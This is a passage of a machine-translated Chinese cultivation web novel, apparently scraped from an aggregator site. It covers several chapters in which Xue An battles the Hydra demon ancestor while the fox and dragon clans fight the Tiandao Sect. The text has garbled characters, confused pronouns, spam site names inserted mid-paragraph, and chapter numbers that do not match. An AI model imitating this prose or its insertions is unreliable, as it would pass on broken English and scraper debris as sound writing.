    "Ai Liqing, you dare to betray Tiandao Sect, have you ever thought about the consequences?"


    Qi Liqing trembled all over.


    at the same time.


    Someone escorted a group of people in rags and bruises to come up.


    "Father, brother!" Qi Liqing exclaimed.


    The people who were escorted were from the Aili family.


    They knelt on the ground with dull eyes, until they heard Qi Liqing''s cry, a ray of light appeared in many people''s eyes.


    "Qing''er..." one of the teenagers murmured infatuatedly, and suddenly trembled, awake from the confusion, and then shouted: "Run, don''t stay here!"


    But the next second, his voice stopped abruptly, because someone was covering his mouth tightly.


    This young man could only look anxiously at Qi Liqing, the meaning in his eyes was obvious.


    That is to let Qi Liqing run fast.


    Qingye has cried and turned into a tearful person.


    Tiansu was very satisfied with the effect, and then turned his head to smile at Xue Anpi without a smile: "Master Xianzun, don''t you say that I am only worthy of being an immortal king? Then I will kill the people from the Aili family now. Light, it can be regarded as a cheer for your words, how?"


    This remark is obviously to sow discord.


    Unexpectedly, Xue An lightly shrugged, "Please, if you want to kill, please as soon as possible, otherwise you may not have a chance later."


    "You..." Tiansu couldn''t help being taken aback.


    Xue An smiled, "You want to ask why I am not being coerced, right?"


    Tiansu did not speak, but the silence had already indicated his answer.


    "It''s very simple, because it''s you, not me, who killed people, so why should I be coerced? The big deal will make you pay ten times the painful price as a price." Xue An said in a relaxed tone.


    Qi Liqing''s complexion was green and white, and he no longer knew how to deal with it. Seeking magic TXT


    She did not expect to say that Xue An would stand for herself.


    After all, even if he did it under coercion, it does not mean he will be forgiven.


    But she didn''t expect Xue An to be so indifferent.


    Instead, Tiansu was pushed into a dilemma.


    It''s easy to kill the members of the family, but you have to consider the price/performance ratio.


    Killing like this now, it seems that he is following Xue An''s instructions.


    So he pondered for a moment, and then he grinned.


    "You let me kill me? Why do I listen to you so much?"


    With that, he waved his hand, and someone from the Aili clan was detained again.


    A sly look appeared in Xue An''s eyes.


    Almost everyone did not notice this.


    Only the saint of Slaughter Temple saw it, and then she showed a hint of thought.


    At this moment, I heard a burst of hearty laughter from the chariot behind Tiansu.


    Immediately afterwards, the curtain was lifted, and ten corpses that had been sucked up were thrown out.


    Tiansu looked overjoyed, looked at Xue An bitterly, and then stepped aside respectfully.


    Then he saw a man with a well-proportioned figure and impeccably handsome face, wearing a black tiara, coming out of the chariot.


    His appearance caused a commotion in the audience.


    Because many people were shocked to find that they could not feel the slightest breath from this man.


    If you close your eyes, there is nothing in the divine consciousness perception.


    As for Zhuge Zang and the Saintess of Slaughter Temple, they were shocked and their complexions became extremely solemn.


    Xue An just stared at the man coldly.


    The Hydra man didn''t care about the gazes of others. He glanced at everyone present with a wicked look on his face, and finally stopped his gaze on Fox Ye and smiled grimly.


    "What? The extremely precious Xiandi chance gave you such a waste?"


    He bluntly called Fox Night a trash.


    This naturally aroused the anger of many fox races.


    "Where did the fanatics dare to insult my king?"


    The Fox Punishment screamed, soaring into the sky, and directly hit the Hydra man.


    In fact, he has long been unable to restrain himself. Although the enemy is coming fiercely, the fox punishment is not afraid at all, but a raging fighting spirit is burning in his chest.


    But before he rushed closer, the Hydra man gave a wicked smile and stomped his foot.


    Boom!


    This foot seemed to step on everyone''s heart, and the less powerful person was shocked to vomit blood on the spot.


    As for the fox punishment that bears the brunt, it flies upside down like a kite with a broken line.


    one strike.


    Just a blow!


    The five elders of the dignified Qingqiu Fox Country were shocked and flew out.


    The Hydra man didn''t even move the place Now, the whole audience was shocked.


    Then the hydra man looked up to the sky and laughed. The laughter was like the howling of the devil from hell, which made people tremble.


    Amidst the laughter, he raised his finger to Hu Ye, "Accept death obediently and give me the chance. I can spare your family not to die, otherwise..."


    Before the words fell, a fist suddenly appeared beside his cheek, and then hit his head heavily.


    Bang!


    The head of the Hydra man was blasted first, and then his whole body was also taken away.


    Then Xue An stood where he was just now, blew his fist gently, and said lightly: "Otherwise?"


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 1880, what else? (second more)) reading history, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1876： The same trick, don’t use 2 to me...

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    boom!


    Everyone in the room was shocked.


    Even the saint of the Slaughter Temple who watched from a distance opened her eyes wide.


    No one thought that Xue An would make a bold move.


    Only Zhuge Zang smiled slightly and said softly, "This is the Red Lotus Immortal Venerable I know!"


    At the same time, the Hydra, who was blown hundreds of miles away with a punch, stood still.


    Looking at him at this time, half of his face was abruptly shattered, and a large hole was sunken in his face, and even his left eye was torn into a thin gap.


    Despite this, there is no trace of blood in the wound, just like a plastic dummy, giving people an extremely strange feeling.


    Hydra stared at Xue An extremely coldly with the remaining eye, and then took a deep breath.


    call!


    With this breath of his breath, a gust of wind blew across the world within a radius of thousands of miles, and the center of the storm was him.


    As the breath entered the body, the scar on the Hydra''s face was recovering at a speed visible to the naked eye, and the originally sunken face also swelled up.


    In the blink of an eye, the Hydra has recovered as before, and there is no trace of injury.


    Such a terrifying recovery ability also made the hearts of the fox races in Qingqiu Fox Country sink.


    Only Xue An had a calm face and smiled faintly: "I didn''t expect to be quite resistant, then... give another punch!"


    Before he could say anything, Xue An disappeared in place again, and when he reappeared, he had already come to the front of Hydra, and then raised his hand and threw another punch.


    Such a ghostly speed made Hydra too late to react, so the punch was hit hard again.


    Boom!


    With a loud noise, Xue An''s punch was hitting his chin.


    Hydra''s jaw shattered at the sound, and then, under the huge bombardment, his mouthful teeth were also shaken to powder, and his head was raised back, and the whole person was blasted into the sky.


    But Xue An obviously did not intend to give him a chance to fight back. His figure just flew up no more than a hundred meters, and Xue An''s figure appeared on top of his head again, then his figure was slightly bent, and his eyes were cold. The light flashes, the arm is raised high, and he punches down.


    Click.


    Accompanied by a burst of toothy bone rubbing and cracking, this punch was hitting the top of Hydra''s head.


    Even if Hydra''s head was smashed down for more than half, both eyeballs were even squeezed out abruptly.


    But this was not over yet, Xue An suddenly bends his knees, his knees hitting the back waist of the rapidly falling Hydra, and then Xue An put his hands on his shoulders and pushed up.


    Click.


    After a loud explosion, the Hydra''s body bends backwards at a strange angle.


    As if a piece of paper had been folded in half, the head was even completely attached to the buttocks.


    hiss!


    Everyone who saw this scene couldn''t help taking a breath.


    Because it took only a few blinks from the start to the present, but in such a short period of time, Xue An was like a cold-blooded butcher. He was ruthless and beat the Hydra with the power to fight back. No.


    And every one of his tricks is simply to the extreme, and even has an artistic rhythm and beauty, which makes it look creepy and pleasing to the eye.


    Xue An finally let go and took a half step back.


    Then the Hydra fell straight down like a toy that was completely scrapped.


    Tiansu was so stupid that he didn''t wake up until Hydra fell heavily, and then screamed.


    "Monster!"


    Xue An stood in the field nonchalantly, tapped his forefinger with his thumb, and made a bang, then smiled sensibly, "Your demon ancestor, it seems that it''s not working!"


    There was a silent uproar in the audience, and many onlookers couldn''t believe their eyes.


    The people of Tiandaozong were defeated by Xue An so easily? Nuan Cai Literature Network


    The Saint Slaughter Temple looked at Xue An thoughtfully, not knowing what she was thinking.


    As for Tiansu, his complexion is hard to describe in words.


    An Yan let out a sigh of relief.


    She had been careful before, for fear that Xue An would encounter another accident.


    Now it seems that this evil man is not particularly powerful.


    And Hu Ying, who was standing on the side, looked at Xue An''s figure with admiration in her eyes at this moment, and whispered: "Wow, Brother Xue is really handsome!"


    Xiao Sha curled his lips when he heard this, and said proudly: "Isn''t this nonsense, can my master not be handsome?"


    But the voice just fell.


    Suddenly, there was a toothless sound of bone rubbing in the distance.


    Everyone looked at them one after another, and then they were all stunned.


    Seeing above the ground, the man who was split in half by Xue An suddenly began to squirm, and then he straightened up a little bit, every time the broken lumbar spine made a loud friction.


    Not only that, he also slowly raised his hands, plunged into the half-smashed head, and slowly pulled out.


    The head was pulled out little by little, and the injury began to heal at an amazing speed.


    And in the whole process, not even a drop of blood shed.


    This extremely strange scene made everyone look dumbfounded.


    Tiansu let out a sigh of relief, then let go and looked at it with a sneer.


    But in the blink of an eye, the man who was just like a scrapped toy recovered.


    Then he saw the Hydra slowly raising his head and barking his teeth at Xue An.


    "How''s it? Did you play well?"


    Xue An narrowed his eyes slightly and said lightly: "It''s okay, if you don''t mind, I can beat you again."


    When the Hydra heard this, he threw himself up to the sky and laughed, and the laughter was full of mockery.


    "Red Lotus Immortal Venerable, when you destroyed my clone, I haven''t asked you to settle the account. Now you dare to ruin my good deeds. Is it true that I can''t kill you?"


    "Oh? Then you can try now to see in the end... who killed who!" Xue An said coldly, her figure flashed, and rushed to the front of Hydra again, and then raised her hand with a punch .


    boom!


    This fist blasted the Hydra with the supreme power that was enough to annihilate everything.


    The speed is so fast that even the air that will not be able to dodge in the future is penetrated.


    In the huge sonic boom, seeing Xue An''s punch was about to hit Hydra''s chest.


    But at this moment, Hydra''s hand suddenly appeared, and understatement blocked Xue An''s mortal punch.


    Then Hydra showed its mouth full of new triangular fangs, and grinned grimly: "Don''t you know that the same trick will fail after using it once on me?"


    After that, Hydra shook his hand suddenly.


    Hey Xue An��s fist smashed, and then Hydra stomped heavily, and the ground within a radius of thousands of miles collapsed into a huge pit, and he shook Xue like a prehistoric dragon. Ann bumped over.


    During this time that was not allowed to send, Xue An looked indifferent, took a deep breath, and greeted him with the supreme might with the other fist.


    Boom.


    After a very dull loud noise, even the space was shaken out of cracks.


    The Hydra was bounced back.


    Xue An rubbed his feet on the ground and flew out like an arrow from a string.


    After a full thousands of miles, he was able to stop his figure.


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (the same trick in Chapter 1881, don''t use it twice for me! (first more)) to read the record and open the bookshelf next time. To!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1877： Killing God Type 6 and Type 7 ● None!

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    Everyone was stunned by this scene.


    Because this battle has exceeded many people''s imagination.


    With one foot down, the land collapsed in a radius of thousands of miles.


    With a punch, even the space was shaken out of cracks.


    This is the real shocking battle.


    At this time, Xue An slowly pulled out his leg from the deep sunken ground, and then held his left fist blankly, slowly twisting the fist crushed by the Hydra.


    Every time, there will be creaking bones in the fist, making the whole body straight.


    Despite this, Xue An didn''t even blink his eyelids, as if he was not holding his own hand.


    The distress on An Yan''s face was about to overflow, but she didn''t say a word, but silently looked at Xue An with a firm look.


    She knew that the only thing she could do now was to support Xue An silently behind her back.


    Because this is what a woman who really loves her husband should do.


    As for the others, their faces are more solemn and worried.


    Tiansu Sect Sect Master Tiansu finally relieved his heart completely, his face couldn''t help showing a touch of pride and joy.


    In his opinion, once the demon ancestor had already shown his power, then Xue An was obviously dead.


    Hydra shook its numb body, and laughed gloomily.


    "Xue, I have to admit that your strength is indeed strong enough to shake my body with the power of the fairy king. But everything is over because you don''t understand..."


    Following the voice, the Hydra slowly floated, and the momentum on his body became more and more powerful, and even the aura of the entire world that was disturbed became uneasy.


    The violent wind blew across the sky, everyone was silent, and the weaker person was even more pale, and back again and again.


    Everyone looked at the mighty Hydra with horror on their faces. Tiansu flushed with excitement, and whispered softly, "This is the true power of Lord Demon Ancestor."


    But in the face of this powerful force that enveloped the entire world, Xue An only raised his eyebrows slightly, and then asked calmly: "Don''t understand what?"


    "Jiejie, you won''t understand, I...I am an immortal existence!"


    After the words fell, a huge thunder rumbling over his head, the bursting brilliance stretched his figure infinitely, like an evil **** in charge of all things in the world, which made people afraid to look directly.


    This kind of power made everyone in Qingqiu Fox Country pale.


    But Xue An laughed, with a bit of sarcasm in his smile, "Immortal? In front of me, no one dares to call himself immortal?"


    "Jie Jie, with the surname Xue, I didn��t want to fight against you, but you��ve been doing bad things again and again, so don��t blame me for being rude! Especially if you still have the only chance for the gods in the world, if If I can get it, I will rule the heavens and become the first person in history!"


    The Hydra became more excited as it spoke, and even the sky full of thunder light continued to explode.


    "Oh? Covet my chance?" Xue An said with a smile, and then his eyes suddenly condensed, "My chance is here, if I have the ability... just come and get it!"


    When the words fell, Xue An rose up into the sky, shook his palms into fists in the air, and shouted in a cold voice, "The seventh way to kill God, nothing!"


    The six styles of killing gods were created by Xue An when he was the emperor, and they used to shine when they were just reborn, but they were rarely used later.


    Because no matter how powerful these six styles are, they are still somewhat rigid in form. Moreover, with Xue An''s understanding of boxing, it has reached the realm of great skill and unworkable, and everything is Tao.


    Every move contains the principles of boxing, and naturally there is no need to rigidly use the six methods of killing the gods.


    But this time, Xue An rarely used it, and it was the seventh form beyond the sixth form.


    A hint of mockery and disdain appeared on Tiansu''s face, "Six Types of Killing Gods? Haha! Gods are nothing but ants in front of the demon ancestors! It''s really laughable."


    But as soon as he fell, Xue An''s punch came out.


    What a punch!


    The moment it appeared, the violent wind stopped instantly, and the clouds all over the sky stopped. The expression on everyone''s face was frozen, and they could only stare at everything with their big eyes shocked and confused. .


    Because at this moment, all movement between heaven and earth was forcibly stopped.


    The sun and the moon no longer turn, the stars no longer flicker, and even the never-ending time has stopped flowing obediently.


    Only Xue An and his fist surpassed the world and blasted towards the Hydra completely unaffected. 139 Novel


    The Hydra at this moment was also affected, completely unable to move.


    He looked at the punch that hit him, and a solemn color appeared in his eyes.


    Then the power of his body suddenly skyrocketed, urging all the power of the emperor, abruptly breaking free of the restraints, and then let out a low growl.


    "Thunder!"


    Boom!


    A golden thunder light that was no thicker than the baby''s arm fell from the sky and struck Xue An directly.


    Even though this thunder light seemed to be very weak, the gap was blown out of the space wherever he went.


    The speed is so fast, if Xue An continues to blast this punch, then this thunder light will also strike him.


    At this critical moment, a black light suddenly appeared before Xue An''s fist.


    As soon as this black light appeared, it immediately began to spread wildly, and everything it passed was wiped out.


    Airflow, light, and even...space!


    The Hydra''s color changed suddenly, and finally a look of horror appeared in his eyes, and then he yelled, and thunder light wrapped around his hands and blocked him.


    Silently, without even a trace of obstruction, the black light wiped off Hydra''s hands.


    Just at this moment, the thunder was also heavily blasted above the black light.


    An invisible shock wave spread out, and all objects were wiped out for thousands of miles.


    Even the strong immortal king like Tiansu retreated back and forth with a look of horror.


    The crowd watching this scene in the distance even exclaimed in exclamation.


    The brilliance in the eyes of the Holy Woman of Slaughter Temple was full of brilliance, and she whispered: "Six Types of Killing God..."


    Finally, the black light ceased and everything calmed down a little.


    Then people looked at the court with fear.


    But there was nothing but this empty abyss with a radius of thousands of miles.


    Could it be...the two of them died together?


    This question just appeared in everyone''s mind.


    But seeing a figure falling out of the void in embarrassment, it was Hydra.


    At this moment, he was extremely embarrassed. His hands were from below his elbows and disappeared, and the wound was as smooth as a mirror, with a faint black light shrouded in it.


    Every time there is flesh and blood in the wound trying to repair by peristalsis, the black light will twist it into dust.


    Hydra looked painful, but his eyes were full of rejoicing for the rest of his life. Then he looked up to the sky and laughed.


    "Surnamed Xue, you ruined my arms, but lost my bones, is it worth it?"


    As soon as this remark came out, the audience shook.


    Everyone in Qingqiu Fox Country changed their colors, and Hu Ying cried out on the spot, "Brother Xue!"


    Chan''er, who has been taking care of the two little girls silently, has a very weak sense of existence, and at this moment, her face is as gray as death, and she whispers softly, "Master..."


    On the contrary, An Yan did not cry, because after so many ups and downs, she was full of confidence in her husband.


    She didn''t believe that Xue An would fall like this But Hydra''s wild smile made An Yan''s eyebrows slightly raised, and then pulled out the pan from the space ring and raised her finger to Hydra.


    "Shut my mouth!"


    Hydra was taken aback for a moment, and then he narrowed his smile and looked at An Yan, and said coldly: "What? A half-step Da Luo, dare to yell at this seat?"


    An Yan''s face was sinking, and he said coldly, "Lei Zun, chop him!"


    With an order, the hapless Lei Zun in the pan was finally awakened, but when he looked at the Hydra opposite, he was taken aback for a moment, and then he screamed sternly.


    "Ahhhhh, last time it was the Immortal King, this time it was the Immortal Emperor, shouldn''t it be time for me to deal with the Xianzun next time?"


    In order to facilitate the next reading, you can click on the "Favorites" below to record this time (Chapter 1882 Sixth Type of Killing God �� No! (second more)) to read the record, and you can see it next time you open the bookshelf !


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1878： No matter how much waste, it is also waste

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    Hydra was also taken aback, but immediately he laughed wildly.


    "Lei Zun? You actually want to use Lei Zun to deal with me?"


    As he said, Hydra raised his hand, a cloud of thunder lingering in his palm, and said triumphantly: "Woman, don''t you know that what I am best at is controlling thunder and lightning?"


    Following the voice, a huge coercion surged towards Anyan.


    Lei Zun screamed.


    As a thunder creature, he is more sensitive to the pressure on the Hydra, and naturally more unbearable.


    An Yan was even paler.


    Because no matter how powerful she is, it is only a half-step for Da Luo. Facing the Hydra of the Immortal Emperor''s cultivation base, the difference in strength can hardly be counted.


    But at this moment, a figure suddenly stood in front of An Yan, and then said in a low voice: "Sister-in-law, please step back first and let me deal with him!"


    An Yan was taken aback.


    It was Fox Ye who was talking, and I saw him at this moment, his expression calm as water, but his eyes were as bright as stars.


    "Fox night, you..." An Yan whispered in surprise.


    Hu Ye turned his head and smiled at her slightly, "Don''t worry, Brother Xue is not here now, so I will protect you if you still miss it."


    After that, Hu Ye raised his eyes and looked at the Hydra in the sky, and said lightly: "Boy, don''t you want the fairy emperor''s chance? It is on me, come and get it if you have the ability!"


    Hydra grinned a few times, "Very well, since you want to die so, then I will do it for you!"


    When the words fell, a thunderbolt descended from the sky, slashing straight towards the fox night.


    Six foxtails suddenly appeared behind Huye, and then flew up and greeted him without hesitation.


    Fox Ye had already awakened seven foxtails, but in the battle to protect the earth, one tail was lost, so now there are only six foxtails left.


    Despite this, his strength should not be underestimated, especially now that it is a matter of the life and death of the entire Qingqiu Fox Nation, Fox Ye did not dare to give in the slightest, and he took out the strongest strength with one shot.


    boom!


    The huge foxtail drew towards the thunder like a whip, and the two collided in the air, causing a loud noise.


    With sparks splashing, the thunder was shattered by life, but there was a painful look on Fox Ye''s face, and scorch marks appeared on the white fox tail.


    Despite this, Hu Ye still did not hesitate at all, but continued to rush towards Hydra at a very fast speed.


    Near.


    Getting closer.


    When Hydra entered the attack range of Foxtail, a touch of joy appeared in Foxye''s eyes.


    But Hydra sneered when he saw it, "Do you really think it''s that simple? A joke!"


    As he said, Hydra raised his hand and pointed at Fox Night.


    boom!


    At first there was a light on his fingertips, and then the light began to increase at a terrifying speed.


    In an instant, a thunder light burst out and rushed to the front of the night of the fox in an instant.


    Hu Ye didn''t even have time to react, just subconsciously blocking Foxtail in front of him.


    But this Thunder Light was obviously much more domineering than the Thunder just got. As soon as it touched, the hair on the fox tail was vaporized instantly, and then it madly pushed inward.


    boom!


    Hearing a blast, a tail was blown into powder immediately, and then Fox Ye was blown out. Blood sprayed out wherever he went, dyeing the sky and many people''s eyes.


    "Fox Night!" A Rou exclaimed, and then ran forward quickly.


    But Hu Ying held her tightly and said with tears on her face: "Sister-in-law, don''t go there, you will have to die in the past!"


    Yes! Yiyun Chinese


    This is the peak duel between the Immortal King and the Immortal Emperor, it''s just that A Rou, a mortal being swept by a Qi machine, will be completely destroyed.


    A Rou naturally understood this, but her husband was beaten up like this, how could she not be anxious?


    A Rou has never hated herself as a mortal like now.


    What if... I also have strong strength?


    In that case, he can fight side by side with Fox Ye and fight the enemy together!


    This thought filled Arou''s heart.


    Then Arou suddenly felt very itchy in her ears.


    This feeling is not the first time.


    She occasionally felt this way when she was in the ancestral land of the dragon clan, but she didn''t feel as strong this time, as if something was sprouted inside and tried to emerge from the cocoon.


    That kind of itch from the heart made Arou want to cut off her ears.


    at the same time.


    The situation in the field has changed again.


    The elders of the Qingqiu Fox Clan naturally couldn''t just watch their king be beaten like this.


    In fact, when the night of the fox was bombed and flew out, the powerful elders of the fox clan, such as the Fox Xinghuwan, had soared into the sky and fought with the Hydra.


    Long Er''s princess Ao Yi rushed to the front of Fox Night in the first time.


    "How? Are you okay?" Ao Yi said lightly.


    Huye wiped the blood from the corner of his mouth, and smiled, "I can''t die for the time being!"


    "That''s good." Ao Yi nodded, then looked at the Hydra in the distance, "Let''s do it together."


    After that, she rushed up.


    Hu Ye was startled slightly, and immediately showed a hint of smile, followed by him.


    The dragon elders who followed Ao Yi looked at each other, and even nodded together, then let out a dragon chant and rushed towards the Hydra together.


    This time the sky can be regarded as boiling.


    The fox and dragons joined forces to surround the Hydra.


    But Hydra was not afraid at all, even the corners of his mouth raised slightly, revealing a smile full of disdain.


    "Waste is waste, no matter how much it is, it is also waste!"


    After that, Hydra shook both hands abruptly, and countless lightning rays exploded in the sky.


    The thunder snake snakes around and fills the sky, and the Hydra stands among them, like an evil deity holding the authority of the world, making people stop breathing.


    "Fall!" Hydra said coldly.


    Under one word, the thunder snake in the sky fell straight down like a torrential rain, and hit the besieging people.


    "The original form of the body!" Hu Ye shouted, and then his body changed rapidly, directly revealing the original form of the nine-tailed sky fox, and the remaining five tails flew straight up, trying to stop the lightning.


    His big drink also reminded the demons ~ www.novelhall.com~ With a soft drink, all the elders of the fox clan showed their original form, and then waved the fox tail, and collided with these thunder lights.


    Boom boom boom!


    Along with the burst of fire, a loud noise rang through the sky.


    And blood splashed out of every burst of fire.


    "Fox night, elder!" The rest of the fox clan in Qingqiu Fox Country all screamed when they saw this.


    At this moment, Ao Yi suddenly raised his hair and let out a dragon chant, and then his face was covered by rapidly growing scales.


    In an instant, a giant dragon with a length of hundreds of miles appeared in front of everyone, and then she danced her body, and actually collided with the lightning with her dragon body.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (No matter how much waste in Chapter 1883, it is also waste (first update)), you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1879： Say... Say what you say?

    "Invincible, start novel cool notes from Daddy Xianzun ( Find the latest chapter!


    Bang bang bang!


    With a muffled sound, the scales on Ao Yi''s body were torn apart by the explosion, and the dragon blood also splashed down, causing Ao Yi to let out a roar.


    Hu Ye saw this scene from the corner of his eye, and couldn''t help exclaiming, "Ao Yi, go back quickly."


    But Ao Yi didn''t retreat but instead moved forward, like a beast aroused fierceness, desperately rushing towards the Hydra wrapped in thunder.


    Her actions terrified the elders of the dragon clan.


    "Second princess!" The Dragon Clan elder yelled, and then the original form of the body was also revealed, and they rushed up together.


    In an instant, the battle in the sky became extremely fierce.


    The dragons and the foxes unite to attack this hydra.


    But even so, he still couldn''t shake him, even close to him.


    Because this sky full of thunder light seems to be endless, it can''t be killed.


    at the same time.


    Standing on the chariot on the top of the sky, Tiansu saw that the time was almost there, and said with a grinning smile: "All Tiandaozong disciples follow the order, kill everyone!"


    "Yes!"


    As soon as the order fell like a mountain, the chariots all over the sky began to rumbling over, and many battle formations composed of deacons or disciples of Tiandaozong flew up and directly killed everyone on the ground.


    Tiansu came straight to Anyan.


    He had seen An Yan''s identity a long time ago, and knew that she should be a very important existence in Xue An''s mind, so the first goal was to deal with her.


    But before he rushed to the front, Zhuge Zang sighed lightly, already blocking the way.


    "Tiansu, please go back."


    Tiansu smiled grinningly when he heard the words, "God Zhuge, dare to stop me with your strength? Get out of my way, or you will have your old life!"


    Zhuge Zang naturally knew that it was useless to say anything now, so he raised his hand and drew a symbol of Gen Gua in front of him.


    The symbol was instantaneous, and then transformed into a towering mountain, trapping Tiansu in it.


    But before he could breathe a sigh of relief, the mountain exploded in an instant, and Tiansu walked out of it, sneered and said: "What? Just this trick wants to trap me?"


    After that, he was fighting with Zhuge Zang.


    Zhuge Zang himself is not very good at fighting, and now he is facing Tiansu, who is regarded as the top echelon among the immortal kings, so he fell into an absolute disadvantage after few encounters.


    At this moment, I heard Tiansu grinning, "The old immortal, get out of here!"


    When the words fell, Tian Su suddenly turned behind Zhuge Zang, raised his hand and patted his back.


    Zhuge Zang was shocked, but it was too late to dodge, so he could only use his hand to pinch the formula and draw dozens of symbols of Kun Gu and Gen Gu in a flash.


    Kun is the earth and Gen is the mountain, both of which can be used for defense.


    But even so, the power of Tiansu''s palm is beyond Zhuge Zang''s imagination.


    After only listening to a burst of explosions like firecrackers, Tiansu destroyed all these trigrams as if they were damaging, and finally patted Zhuge Zang on the back.


    Zhuge Zang opened his mouth and spit out a big mouthful of blood, which was shot and flew out like a kite with a broken string.


    "Ancestor!"


    "Master!"


    Zhuge Xuanqing and Wei Rulan were shocked when they saw this and rushed up immediately.


    After catching Zhuge Zang, I saw that Zhuge Zang''s face was like white paper, with a weak breath, and he was unconscious.


    The tears of the two women''s tears fell.


    Tiansu clapped his palms proudly and sneered, "Now I see how you can be nosy."


    After all, he came over to An Yan again.


    An Yan''s face was sinking, holding a pan in his hand, and said lightly: "Lei Zun, are you ready to fight?"


    Lei Zun in the pan was silent for a while, and then smiled bitterly: "Anyway, it''s already like this, I don''t care anymore, please feel free to mistress!"


    "Okay!" An Yan said solemnly, before going forward. E-bookstore


    But at this moment, Xiaosha suddenly stepped forward and blocked her behind her.


    "Xiaosha, you..."


    Xiaosha said lightly: "My mistress, don''t forget that there is still me. The master has asked me to protect you!"


    "Yes, me too!" Zhang Xiaoyu said excitedly, waving his tentacles.


    Even Chan''er silently walked up to the front, showing his attitude with practical actions.


    An Yan was a little startled, even though her nose felt sore, tears appeared in her eyes.


    at the same time.


    Tiansu, who had already come close, sneered after hearing the words, "Tsk, it''s really touching! It''s a pity that you can only touch yourself if you don''t have enough strength, right? Little Loach."


    Xiaosha looked at Tiansu who came across with an indifferent expression, and said coldly: "It doesn''t matter if you feel moved, but if you want to hurt your mistress, you must step over my corpse."


    "Okay, then I will do you too." Tiansu grinned, his speed suddenly accelerated, and he rushed to Xiaosha''s approach in an instant, and then raised his hand with a palm.


    Xiao Sha''s reaction was not unpleasant.


    With the unique physical condition of the Dragon Clan, her reaction speed is much faster than that of ordinary people, so Xiaosha can actually react to this blow.


    I saw her clenching fists with both hands, urging her whole body to try to resist the palm.


    But soon, all efforts failed.


    Because the difference in strength is so big that it cannot be made up with any willpower.


    Just listen to a loud bang.


    Xiao Sha was taken out directly.


    "Master Xiaosha!"


    Zhang Xiaoyu screamed, and her tentacles flew out instantly, wrapped around Xiaosha''s waist, trying to pull her back in the air, but as a result, she was also taken away.


    It wasn''t until after a hundred miles of flying that Xiaosha was able to land. Looking at her at this time, half of her body was shattered.


    This is because she is a dragon and has very strong physical fitness. If she were to change to another person, she would have been shattered by this palm.


    Even so, Xiaosha struggled several times, but couldn''t get up at all.


    at the same time.


    Tiansu Jiejie walked towards An Yan with a strange smile, "Woman, now Xue An is dead, don''t you surrender obediently, when will you wait?"


    An Yan''s complexion was a little pale, but she sneered when she heard that, "surrender?"


    "Yes, as long as you are willing to surrender, I promise that I will not kill you, and even make you a disciple of my Heavenly Dao Sect, what do you think?" Tian Su looked at An Yan with a silver evil expression, and was a little excited in his heart.


    This woman is so beautiful that she is amazing even after seeing countless beauties.


    If this income can be accounted for, it would be a good deal.


    But An Yan slowly raised her head at this time, and said indifferently: "I''m sorry, I am the woman of the Red Lotus Immortal, I never know what surrender is!"


    Tiansu''s complexion instantly darkened, and then she sneered gloomily, "Honglian Immortal? Ha ha, people are dead, what kind of **** Honglian Immortal? Surrender is your only way to survive."


    "Bah, you are dead, your whole family is dead! My father is a world-famous hero, so he won''t die!" Thinking of suddenly poking his head out from behind An Yan, his face was full of irritation. .


    "Yes, you should die!" Nian Nian also poked her head out and said bitterly.


    Tiansu didn''t care about these at all.


    A joke, UU reading , the two stinky yellow-haired little girls, are not worth his attention at all.


    But I never expected that after Nian-nian''s words were finished, Tiansu''s power instantly dropped to the bottom.


    His eyes also dimmed, and the powerful aura that had lingered above his head disappeared without a trace.


    Tiansu was dumbfounded.


    Because not only that, but at this moment he also felt the repulsion of Tiandao against him.


    And this kind of feeling can only appear in the strong man who is about to fall.


    An ominous hunch came to Tiansu''s heart.


    Tiansu finally showed great horror in his eyes, hissed and screamed: "The words...the way they speak?"


    For the convenience of reading next time, you can click "Favorites" below to record the reading record of this time (Chapter 1884, what to say... How to speak? (second more)) reading record, next time you open the bookshelf to see!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 1880： Guardian power of the fairy king

    "Invincible, cool notes from novels starting with Daddy Xianzun ( Find the latest chapter!


    No wonder Tiansu was so terrified.


    Because this kind of talent that is so strong that it is close to Tao only exists in the legend, even he just heard it, but has never seen it.


    Even among those secret great sects that are far superior to Tiandaozong in terms of history and strength, those peerless Tianjiao who have been born with impeccable luck and even plunder a world of vitality for their own use have never heard of anyone He has this kind of talent.


    And it was this kind of talent that was even thought to be non-existent, but at this moment it really appeared on a little girl.


    How could this not shock him.


    But shortly afterwards, Tiansu''s eyes showed a color of greed that was too strong to dissolve.


    If... you plunder this talent and use it for your own use, then your own strength will definitely make great progress, and even break through the existing realm, and further prove the immortal emperor.


    At this point, Tiansu couldn''t help but laughed strangely, "I didn''t expect it, this time I can have such a harvest, it''s a surprise!"


    As he said, his whole body shook slightly, and his majestic aura instantly broke through the shackles and returned to normal.


    Nian-nian''s face turned pale, and she groaned with a slight pain.


    You must know that she is just a child now, even though she is talented against the sky, it is impossible to really punish the strong like Tiansu with a single word.


    Even the power she had just been able to restrain Tiansu for a short period of time was already shocking enough.


    And after hearing the painful moan of Nian Nian, thinking about it on the side immediately grabbed her hand, "Sister, how are you?"


    Nian-nian shook her head slightly, "It''s nothing, but I feel a little dizzy."


    Hearing this, the thinking face gradually sank, and then patted Niannian''s shoulder lightly.


    "Go back and rest!"


    "What about you sister?"


    "Me?" As I thought about it, a cold killing intent suddenly appeared in my eyes, and he said in a deep voice, "I naturally want to avenge you!"


    at the same time.


    The entire Qingqiu fox country has become a pot of porridge.


    Above the ground, the disciples of Tiandaozong and the deacon fought directly with many fox tribes in the Qingqiu Fox Country.


